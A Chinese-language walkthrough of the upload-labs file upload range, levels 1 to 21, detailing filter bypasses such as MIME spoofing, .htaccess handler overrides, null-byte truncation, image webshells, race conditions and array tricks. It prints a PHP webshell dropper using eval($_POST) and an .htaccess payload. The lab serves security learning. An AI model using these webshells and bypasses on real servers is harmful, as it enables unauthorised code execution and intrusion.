upload-labs1-21关文件上传通关手册

upload-labs文件上传漏洞靶场

目录

  • upload-labs文件上传漏洞靶场
    • 第一关pass-01:
    • 第二关Pass-02
    • 第三关pass-03:
    • 第四关pass-04:
    • 第五关pass-05:
    • 第六关pass-06:
    • 第七关Pass-07
    • 第八关Pass-08
    • 第九关Pass-09
    • 第十关Pass-10
    • 第十一关Pass-11
    • 第十二关Pass-12
    • 第十三关Pass-13
    • 第十四关Pass-14
    • 第十五关Pass-15
    • 第十六关Pass-16
    • 第十七关Pass-17
    • 第十八关Pass-18
    • 第十九关Pass-19
    • 第二十关Pass-20
    • 第二十一关Pass-21

第一关pass-01:

看源码可知道

image-20230511190837768

仅让上传此三类的文件类型,其他都不可以上传。

上传会有js弹窗,前端检查(前端校验):

image-20230511190948304

我们可以有三种绕过方法:

第一种:关闭网页的js提示弹窗

第二种:检查源代码,进行修改

第三种:利用burp进行抓包,修改上传的文件后缀.php

第一种:

在火狐浏览器中,搜索about:config,将js关闭即可

image-20230511191620054

image-20230511191650472

再次上传,即可成功。

image-20230511191754766

方法二:检查页面的代码,进行修改,删除相应的方法以及返回值

image-20230511205416518

删掉返回函数,再次尝试。

image-20230511205508545

image-20230511205655613

删除完成后,再次上传

image-20230511192020822

上传成功

验证:

可以正常解析

image-20230511205920436

第三种:burp抓包,改文件的后缀即可成功。

burp进行抓包,修改文件的后缀,放包:

image-20230511193142665

上传成功

image-20230511193034656

第二关Pass-02

查看源码,可知道服务器端检查MIME类型(HTTP Header中的Content-Type)

image-20230511212954074

image-20230511214103784

image-20230511214148462

验证是否可以解析:

image-20230511214226556

第三关pass-03:

image-20230511220230324

查看代码可以知道,后端服务器做了很多的限制,不允许上传不允许上传.asp,.aspx,.php,.jsp后缀文件!删除文件末尾的点,转换为小写,收尾去空等限制

image-20230511215701286

我们可以上传文件的别名,使用别名来绕过黑名单

image-20230511220024388

放包后,上传成功!

image-20230511220117927

访问并观察是否能够解析php:

image-20230905083336796

第四关pass-04:

代码:

image-20230511225536224

绕过方法:

方法一:

根据源代码,改后缀,改为xxxx.php. .

image-20230511225839747

image-20230511225949496

验证是否可以解析:

image-20230511230056156

方法二:

上传.htaccess文件,文件内容:

<FilesMatch "lc">
Sethandler application/x-httpd-php
</FilesMatch>

再上传文件名当中包含lc的木马文件文件(木马文件码或者一句话木马)

image-20230905084202742

上传成功后,访问,看是否能被解析:

成功解析:

image-20230905084232480

第五关pass-05:

观察源代码:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");$file_name = trim($_FILES['upload_file']['name']);$file_name = deldot($file_name);//删除文件名末尾的点$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //首尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.$file_name;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件类型不允许上传!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}

由源代码可知,过滤方式和第四关差不多,这一个又过滤了.htaccess,所以我们无法上传.htaccess文件了

绕过方式同第四关方法一相同,使用xxxx.php. .后缀的文件进行上传绕过

第六关pass-06:

观察源代码:

image-20230905085203814

发现,此关卡没有过滤大小写,所以可以大小写绕过

image-20230905092013380

成功上传

第七关Pass-07

观察源代码

image-20230905092419200

发现没有过滤空格,所以可以文件后缀+空格进行绕过

image-20230905092614372

访问该地址,看是否能被解析:

成功解析

image-20230905092640295

第八关Pass-08

观察源码

image-20230905093123420

没有过滤后缀名末尾的点,所以可以在后缀+.进行绕过

image-20230905093238067

访问木马文件的地址,观察能否成功解析:

image-20230905093315647

第九关Pass-09

观察源码

image-20230905093707918

发现没有过虑去除字符串::$DATA

所以可以文件后缀加上::$DATA进行绕过

image-20230905093840763

成功上传后,访问该木马文件地址:

注意,访问时去掉::$DATA

成功解析

image-20230905093941471

第十关Pass-10

源代码:

image-20230905094051111

本关卡可以使用. .进行绕过,同第四关方法一相同,抓包修改后缀即可。

image-20230905094842083

第十一关Pass-11

观察源码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");$file_name = trim($_FILES['upload_file']['name']);$file_name = str_ireplace($deny_ext,"", $file_name);$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.$file_name;        if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}

将黑名单当中的后缀名进行替换,只要遇到黑名单当中的后缀就替换成空

所以,本关卡可以使用双写进行绕过xxx.pphphp

image-20230905095549088

访问该木马文件地址,看是否能够解析:

成功解析:

image-20230905095718669

第十二关Pass-12

源代码

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){$ext_arr = array('jpg','png','gif');$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);if(in_array($file_ext,$ext_arr)){$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;if(move_uploaded_file($temp_file,$img_path)){$is_upload = true;} else {$msg = '上传出错!';}} else{$msg = "只允许上传.jpg|.png|.gif类型文件!";}
}
0x00截断绕过:
文件名后缀就一个%00字节,可以截断某些函数对文件名的判断。在许多语言函数中,处理字符串 的函数中0x00被认为是终止符。网站上传函数处理 XXX.php%00.jpg 时,首先后缀名是合法的jpg格式,可以上传,在保存文件时,遇到%00字符丢弃后面的jpg,文件后缀最终保存的后缀名为xxx.php.

本关卡观察源码发现,为GET请求:

image-20230905100558376

直接上传php文件,提示报错

image-20230905100737537

上传png图片码或者在图片当中插入一句话木马

image-20230905100904119

进行%00截断

image-20230905101155780

复制木马文件地址链接,验证是否能够解析:

注意:删掉%00后面的部分,然后再访问执行

成功解析:

image-20230905101248779

第十三关Pass-13

观察源码:

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){$ext_arr = array('jpg','png','gif');$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);if(in_array($file_ext,$ext_arr)){$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;if(move_uploaded_file($temp_file,$img_path)){$is_upload = true;} else {$msg = "上传失败";}} else {$msg = "只允许上传.jpg|.png|.gif类型文件!";}
}

本关卡和上一关基本一致,区别为本关卡为POST请求

同理还是使用%00截断,注意的是,POST请求在使用%00截断时,%00需要进行url编码处理

image-20230905102325911

编码后:

image-20230905102355098

放包后,成功上传,复制图片木马地址,进行访问,看是否能够解析

注意:在访问时该木马文件地址时,还是删掉%00后面的内容

成功解析:

image-20230905102454239

另外一种方法:

还可以在上传的时候,在后缀处添加空格,将空格的对应16进制编码改为00,放包即可

image-20230905215015861

找到对应的16进制位,将16进制数值20改为00,放包即可

image-20230905215106850

访问木马,看是否被解析:

注意:将木马地址当中的%00后面的内容删除掉,留php后缀的木马文件即可

成功解析执行

image-20230905215227979

第十四关Pass-14

源代码

function getReailFileType($filename){$file = fopen($filename, "rb");$bin = fread($file, 2); //只读2字节fclose($file);$strInfo = @unpack("C2chars", $bin);    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    $fileType = '';    switch($typeCode){      case 255216:            $fileType = 'jpg';break;case 13780:            $fileType = 'png';break;        case 7173:            $fileType = 'gif';break;default:            $fileType = 'unknown';}    return $fileType;
}$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){$temp_file = $_FILES['upload_file']['tmp_name'];$file_type = getReailFileType($temp_file);if($file_type == 'unknown'){$msg = "文件未知,上传失败!";}else{$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;if(move_uploaded_file($temp_file,$img_path)){$is_upload = true;} else {$msg = "上传出错!";}}
}

通过源码分析可得,源码读取前2个字节判断上传文件的类型,判断通过后,便重新给文件赋予新的后缀名。

本关可以使用图片码,搭配文件包含来进行绕过,因为存在include ,所以会以本文的形式读取webshell.jpg的内容,这样存在于webshell.jpg里的一句话木马就可以执行

图片码制作:
copy 1.png /b + shell.php /a webshell.jpg或者使用编辑器工具,直接在图片当中插入一句话木马即可

image-20230905220342855

通过文件包含,去包含这个图片马,包含后,里面的数据信息会当中php代码进行执行。

文件包含后,成功执行,并解析:

image-20230905220506400

第十五关Pass-15

源码:

image-20230905221103329

通过源码分析:

image_type_to_extension 根据指定的图像类型返回对应的后缀名

做法和14关一样,相同的方法进行绕过。

第十六关Pass-16

本关卡需要开启php_exif模块,在phpstudy扩展当中找到该模块,开启即可

image-20230906083104482

源码:

image-20230906083349535

由源码可得:

exif_imagetype() 判断一个图像的类型,读取一个图像的第一个字节并检查其签名。
本函数可用来避免调用其它 exif 函数用到了不支持的文件类型上或和 [$_SERVER’HTTP_ACCEPT’] 结合使用来检查浏览器是否可以显示某个指定的图像。

绕过方式和做法同14关一样。

第十七关Pass-17

源码:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){// 获得上传文件的基本信息,文件名,类型,大小,临时文件路径$filename = $_FILES['upload_file']['name'];$filetype = $_FILES['upload_file']['type'];$tmpname = $_FILES['upload_file']['tmp_name'];$target_path=UPLOAD_PATH.'/'.basename($filename);// 获得上传文件的扩展名$fileext= substr(strrchr($filename,"."),1);//判断文件后缀与类型,合法才进行上传操作if(($fileext == "jpg") && ($filetype=="image/jpeg")){if(move_uploaded_file($tmpname,$target_path)){//使用上传的图片生成新的图片$im = imagecreatefromjpeg($target_path);if($im == false){$msg = "该文件不是jpg格式的图片!";@unlink($target_path);}else{//给新图片指定文件名srand(time());$newfilename = strval(rand()).".jpg";//显示二次渲染后的图片(使用用户上传图片生成的新图片)$img_path = UPLOAD_PATH.'/'.$newfilename;imagejpeg($im,$img_path);@unlink($target_path);$is_upload = true;}} else {$msg = "上传出错!";}}else if(($fileext == "png") && ($filetype=="image/png")){if(move_uploaded_file($tmpname,$target_path)){//使用上传的图片生成新的图片$im = imagecreatefrompng($target_path);if($im == false){$msg = "该文件不是png格式的图片!";@unlink($target_path);}else{//给新图片指定文件名srand(time());$newfilename = strval(rand()).".png";//显示二次渲染后的图片(使用用户上传图片生成的新图片)$img_path = UPLOAD_PATH.'/'.$newfilename;imagepng($im,$img_path);@unlink($target_path);$is_upload = true;               }} else {$msg = "上传出错!";}}else if(($fileext == "gif") && ($filetype=="image/gif")){if(move_uploaded_file($tmpname,$target_path)){//使用上传的图片生成新的图片$im = imagecreatefromgif($target_path);if($im == false){$msg = "该文件不是gif格式的图片!";@unlink($target_path);}else{//给新图片指定文件名srand(time());$newfilename = strval(rand()).".gif";//显示二次渲染后的图片(使用用户上传图片生成的新图片)$img_path = UPLOAD_PATH.'/'.$newfilename;imagegif($im,$img_path);@unlink($target_path);$is_upload = true;}} else {$msg = "上传出错!";}}else{$msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";}
}

分析源码可得:

本关卡为二次渲染:
在我们上传文件后,网站会对图片进行二次处理(格式、尺寸要求等),服务器会把里面的内容进行替换更新,处理完成后,根据我们原有的图片生成一个新的图片并放到网站对应的标签进行显示。绕过:
配合文件包含漏洞:
将一句话木马插入到网站二次处理后的图片中,也就是把一句话插入图片在二次渲染后会保留的那部分数据里,确保不会在二次处理时删除掉。这样二次渲染后的图片中就存在了一句话,在配合文件包含漏洞获取webshell。简单说就是,先正常的上传一个图片马,去正常的访问,发现一句话木马没有了,然后将上传的图片马下载下来,和原始的图片码进行对比,看哪里变了,哪里没变,在没变的地方,插入一句话木马,再次上传,结合文件包含去访问即可。

正常的去上去带有一句话木马的图片马:

image-20230906084805492

点击上传:可成功上传,然后去访问

image-20230906084824714

image-20230906084854828

复制该图片马的地址,去访问:

访问发现,我们的一句话木马被删掉了:

image-20230906084954432

这时,我们将上传的木马下载下来,进行和源图片马就行对比:

image-20230906085301702

对比发现变化的地方很多,只有头部没有变化,所以我们在头部插入我们的一句话木马:

image-20230906085602377

再次上传我们下载下来的图片:

image-20230906085649821

再次去访问:

成功解析:

image-20230906085743350

第十八关Pass-18

源码:

$is_upload = false;
$msg = null;if(isset($_POST['submit'])){$ext_arr = array('jpg','png','gif');$file_name = $_FILES['upload_file']['name'];$temp_file = $_FILES['upload_file']['tmp_name'];$file_ext = substr($file_name,strrpos($file_name,".")+1);$upload_file = UPLOAD_PATH . '/' . $file_name;if(move_uploaded_file($temp_file, $upload_file)){if(in_array($file_ext,$ext_arr)){$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;rename($upload_file, $img_path);$is_upload = true;}else{$msg = "只允许上传.jpg|.png|.gif类型文件!";unlink($upload_file);}}else{$msg = '上传出错!';}
}

通过源码分析,本关卡可以使用条件竞争进行绕过:

也可以使用文件包含,进行包含图片马

条件竞争:
在服务器删除我们上传的非法文件之前,访问这个文件,从而生成另一个木马文件,用这个木马文件getshell竞争条件原理:
网站允许上传任意文件,然后检测文件中若有webshell,就删除文件;若不是指定类型文件,那么就使用unlink删除文件
在删除之前访问上传的php文件,从而执行上传文件中的php代码
在我们上传这个木马文件,上传到服务器之前在重命名删除之前去抢占这个文件,从而执行当中的php恶意代码
为了呈现比较明显的效果,我们在木马文件当中写入这句话:
php一句话创建以及写入文件内容:
<?php fwrite(fopen("cmd.php","w"),'<?php @eval($_POST["SHELL"]);?>');?>

上传时进行抓包,发给intruder模块

image-20230906093716313

清空标记的变量,将payload设置为空值爆破

image-20230906093806762

可将线程调高一些

image-20230906093840314

接下来,访问shell.php的地址,再进行抓包,发给intruder模块

image-20230906094222202

image-20230906094302160

其余配置信息和以上一致,接下来进行攻击即可。

image-20230906094427437

状态码为200,说明抢占shell.php成功,木马中的php代码成功执行,接下来停止攻击,访问木马当中生成的cmd.php木马文件即可。

验证是否能够成功解析:

成功解析:

image-20230906094614549

另外一种方法是,上传图片马,使用文件包含去包含这个图片马:

正常的去上传:

image-20230906094752076

尝试文件包含:

一样还是可以成功被解析出来

image-20230906094848316

第十九关Pass-19

本关卡上传路径和其他关卡不同,本关上传路径上传后会发现上传到网站的www目录下,可进行修改

myupload.php修改一下路径

function setDir( $dir ){if( !is_writable( $dir ) ){return "DIRECTORY_FAILURE";} else { $this->cls_upload_dir = $dir."/";		// 这里改一下,加个斜杠return 1;......

其他的操作和绕过方式同18关一致,也可使用文件包含进行绕过。

上传图片马,由于存在include.php,所以可通过include.php进行文件包含,同18关一样。

第二十关Pass-20

源码:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");$file_name = $_POST['save_name'];$file_ext = pathinfo($file_name,PATHINFO_EXTENSION);if(!in_array($file_ext,$deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH . '/' .$file_name;if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true;}else{$msg = '上传出错!';}}else{$msg = '禁止保存为该类型文件!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}

源码分析可得,save_name 可控,可以通过 .,空格,00截断绕过对后缀的判断,进行绕过

方法一:%00截断进行绕过

上传webshell:

image-20230906213237990

成功上传:

注意:访问时,将%00后面的内容进行删除,只留下php后缀的木马即可,成功解析文件

image-20230906213401176

方法二:在后缀后加上/.让服务器认为是目录,匹配时会匹配成php/.,绕过检测

image-20230906213713087

修改后,放包即可:

image-20230906213739775

成功上传,复制地址链接,访问,验证是否能够解析成功:

成功解析

image-20230906213844968

方法三:相同的位置,在POST请求体当中,上传的文件,在重命名的文件处修改后缀名,php+空格也可以进行绕过(和上述操作一致,区别就是后缀后+空格)同理+.也可以

第二十一关Pass-21

源码:

$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){//检查MIME$allow_type = array('image/jpeg','image/png','image/gif');if(!in_array($_FILES['upload_file']['type'],$allow_type)){$msg = "禁止上传该类型文件!";}else{//检查文件名$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];if (!is_array($file)) {$file = explode('.', strtolower($file));}$ext = end($file);$allow_suffix = array('jpg','png','gif');if (!in_array($ext, $allow_suffix)) {$msg = "禁止上传该后缀文件!";}else{$file_name = reset($file) . '.' . $file[count($file) - 1];$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH . '/' .$file_name;if (move_uploaded_file($temp_file, $img_path)) {$msg = "文件上传成功!";$is_upload = true;} else {$msg = "文件上传失败!";}}}
}else{$msg = "请选择要上传的文件!";
}

通过源码分析可得:

源码逻辑:

  1. 检查MIME (通过抓包改Content-Type 绕过)
  2. 判断 POST参数 save_name 是否为空,
  3. 判断$file 是否为数组,不是数组以 .分割化为数组
  4. 取 $file 最后一个元素,作为文件后缀进行检查
  5. f i l e 第一位和第 ‘ file 第一位和第` file第一位和第file[count($file) - 1]`作为文件名和后缀名保存文件

思路:

上传 webshell.php, 修改save_name 为数组绕过对 f i l e 的切割,最后 file 的切割,最后 file的切割,最后file 最后一个元素是 save_name[2] = png 绕过后缀检测 , 然后reset($file) = webshell.php 。相当于抓包,将save_name修改为数组,save_name[0]的值为webshell.php/,save_name[2]的值为png,放包即可。上传图片马或者带有一句话木马的图片格式文件。

$file[1]` 没有定义为空,`count($file)` 的值为`$file[count($file) - 1]` = `$file[1]

所以最后上传的文件为webshell.php

操作:

使用数组进行绕过

image-20230906215135006

成功上传:

image-20230906215731218

复制图片地址链接,进行访问,看是否能够被成功解析:

成功解析:

image-20230906215210352

注意:

上传时,POST请求体当中的,构造的save_name数组当中的上传文件名的信息后缀不用加/.,加/即可,否则上传失败

image-20230906215434700

文章不妥之处,欢迎批评指正!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/128339.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

uniapp 下拉框数据回显的问题

问题 : 现在是下拉框数据回显不了, 绑定的v-model 原因 : uniui 下拉框数据绑定要是 value text 这种格式的 解决办法: 将获取到的后端数据 转换为 需要的格式 ,再进行绑定 下拉框的数据 遍历

【面试经典150 | 数组】移除元素

文章目录 写在前面Tag题目来源题目解读解题思路方法一&#xff1a;原地操作 写在最后 写在前面 本专栏专注于分析与讲解【面试经典150】算法&#xff0c;两到三天更新一篇文章&#xff0c;欢迎催更…… 专栏内容以分析题目为主&#xff0c;并附带一些对于本题涉及到的数据结构等…

【C++】day2学习成果:引用、结构体等等。。。

1.封装一个结构体&#xff0c;结构体中包含一个私有数组&#xff0c;用来存放学生的成绩&#xff0c;包含一个私有变量&#xff0c;用来记录学生个数&#xff0c; 提供一个公有成员函数&#xff0c;void setNum(int num)用于设置学生个数 提供一个公有成员函数&#xff1a;void…

并联电容器电容量测试

试验目的 开展并联电容器电容量试验的目的是检查其电容值的变化情况, 以判断电容器内部接线是否正确, 内部各电容单元是否存在断线、 击穿短路或绝缘受潮等现象, 以避免在运行中发生事故。 试验设备 电容电感测试仪 厂家&#xff1a; 湖北众拓高试 试验方法 并联电容器电容量…

python3 简易 http server:实现本地与远程服务器传大文件

在个人目录下创建新文件httpserver.py &#xff1a; vim httpserver.py文件内容为python3代码&#xff1a; # !/usr/bin/env python3 import datetime import email import html import http.server import io import mimetypes import os import posixpath import re import…

PPT架构师架构技能图

PPT架构师架构技能图 目录概述需求&#xff1a; 设计思路实现思路分析1.软素质2.核心输出&#xff08;office输出&#xff09; 参考资料和推荐阅读 Survive by day and develop by night. talk for import biz , show your perfect code,full busy&#xff0c;skip hardness,ma…

应用在汽车新风系统中消毒杀菌的UVC灯珠

在病毒、细菌的传播可以说是一个让人敏感而恐惧的事情。而对于车内较小的空间&#xff0c;乘坐人员流动性大&#xff0c;更容易残留细菌病毒。车内缺少通风&#xff0c;残留的污垢垃圾也会滋生细菌&#xff0c;加快细菌的繁殖。所以对于车内消毒就自然不容忽视。 那么问题又来…

Pytest系列-快速入门和基础讲解(1)

前言 目前有两种纯测试的测试框架&#xff0c;pytest和unittestunittest应该是广为人知&#xff0c;而且也是老框架了&#xff0c;很多人都用来做自动化&#xff0c;无论是UI还是接口pytest是基于unittest开发的另一款更高级更好用的单元测试框架 单元测试框架介绍 单元测试…

分布式锁之redis实现

docker安装redis 拉取镜像 docker pull redis:6.2.6 查看镜像 启动容器并挂载目录 需要挂在的data和redis.conf自行创建即可 docker run --restart always -d -v /usr/local/docker/redis/redis.conf:/usr/local/etc/redis/redis.conf -v /usr/local/docker/redis/data:/dat…

ClickHouse进阶(七):Clickhouse数据查询-1

进入正文前&#xff0c;感谢宝子们订阅专题、点赞、评论、收藏&#xff01;关注IT贫道&#xff0c;获取高质量博客内容&#xff01; &#x1f3e1;个人主页&#xff1a;含各种IT体系技术,IT贫道_Apache Doris,大数据OLAP体系技术栈,Kerberos安全认证-CSDN博客 &#x1f4cc;订阅…

微信小程序云开发数据懒加载+打破云数据库返回数据条数限制

目录 数据懒加载 打破数据表返回条数限制 数据懒加载 show.wxml <view wx:for="{{Adata}}" wx:key="index" style="padding: 80rpx 10rpx 140rpx;border-bottom: rgb(109, 134, 134) 2px solid;"><view style="margin-left: 20…

springMVC基础技术使用

目录 1.常用注解 1.1RequestMapping 1.2.RequestParam 1.3.RequestBody 1.4.PathVariable 2.参数传递 2.1 slf4j-----日志 2.2基础类型 2.3复杂类型 2.4RequestParam 2.5PathVariable 2.6RequestBody 2.7请求方法&#xff08;增删改查&#xff09; 3.返回值 3.1void …

FPGA基本算术运算

FPGA基本算术运算 FPGA基本算术运算1 有符号数与无符号数2 浮点数及定点数I、定点数的加减法II、定点数的乘除法 3 仿真验证i、加减法验证ii、乘除法验证 FPGA基本算术运算 FPGA相对于MCU有并行计算、算法效率较高等优势&#xff0c;但同样由于没有成型的FPU等MCU内含的浮点数运…

python创建exe文件

1、搭建环境 pip install pyinstaller 2、准备测试代码 exe_test.py import timeprint("hello") print("hello") print("hello") print("hello")time.sleep(5) 注&#xff1a;添加sleep以便在执行exe文件的时候能看到结果 3、生…

个人能做股票期权吗?个人期权交易开户条件新规

个人投资者是可以交易股票期权的&#xff0c;不过期权交易通常需要投资者具备一定的投资经验和风险承受能力&#xff0c;因为期权交易涉及较高的风险和复杂性&#xff0c;下文为大家介绍个人能做股票期权吗&#xff1f;个人期权交易开户条件新规的内容。本文来自&#xff1a;期…

索尼 toio™ 应用创意开发征文|探索创新的玩乐世界——索尼 toio™

导语&#xff1a; 在技术的不断进步和发展中&#xff0c;玩具也逐渐融入了智能化的潮流。索尼 toio™作为一款前沿的智能玩具&#xff0c;给孩子和成人带来了全新的游戏体验。本文将介绍索尼 toio™的特点、功能和应用场景&#xff0c;让读者了解这个令人兴奋的创新产品。 1. 了…

【计算机网络】 ARP协议和DNS协议

文章目录 数据包在传输过程中的变化过程单播组播和广播ARP协议ARP代理免费ARP路由数据转发过程DNS协议 数据包在传输过程中的变化过程 在说ARP和DNS之前&#xff0c;我们需要知道数据包在传输过程的变化过程 从图片中可以看到&#xff0c;发送方的原数据最开始是在应用层&…

SpringAOP面向切面编程

文章目录 一. AOP是什么&#xff1f;二. AOP相关概念三. SpringAOP的简单演示四. SpringAOP实现原理 一. AOP是什么&#xff1f; AOP&#xff08;Aspect Oriented Programming&#xff09;&#xff1a;面向切面编程&#xff0c;它是一种编程思想&#xff0c;是对某一类事情的集…

最经典的解析LSA数据库(第六课)

初步认识OSPF的大致内容(第三课)_IHOPEDREAM的博客-CSDN博客 1 OSPF 工作过程 建立领居表 同步数据库 今天来 说一说数据库概念 计算路由表 2 什么是数据库&#xff1f; 数据库是一个组织化的数据集合&#xff0c;用于存储、管理和检索数据。它是一个可访问的集合&#x…

OpenCV项目实战(1)— 如何去截取视频中的帧

前言&#xff1a;Hello大家好&#xff0c;我是小哥谈。针对一段视频&#xff0c;如何去截取视频中的帧呢&#xff1f;本节课就给大家介绍两种方式&#xff0c;一种方式是按一定间隔来截取视频帧&#xff0c;另一种方式是截取视频的所有帧。希望大家学习之后能够有所收获&#x…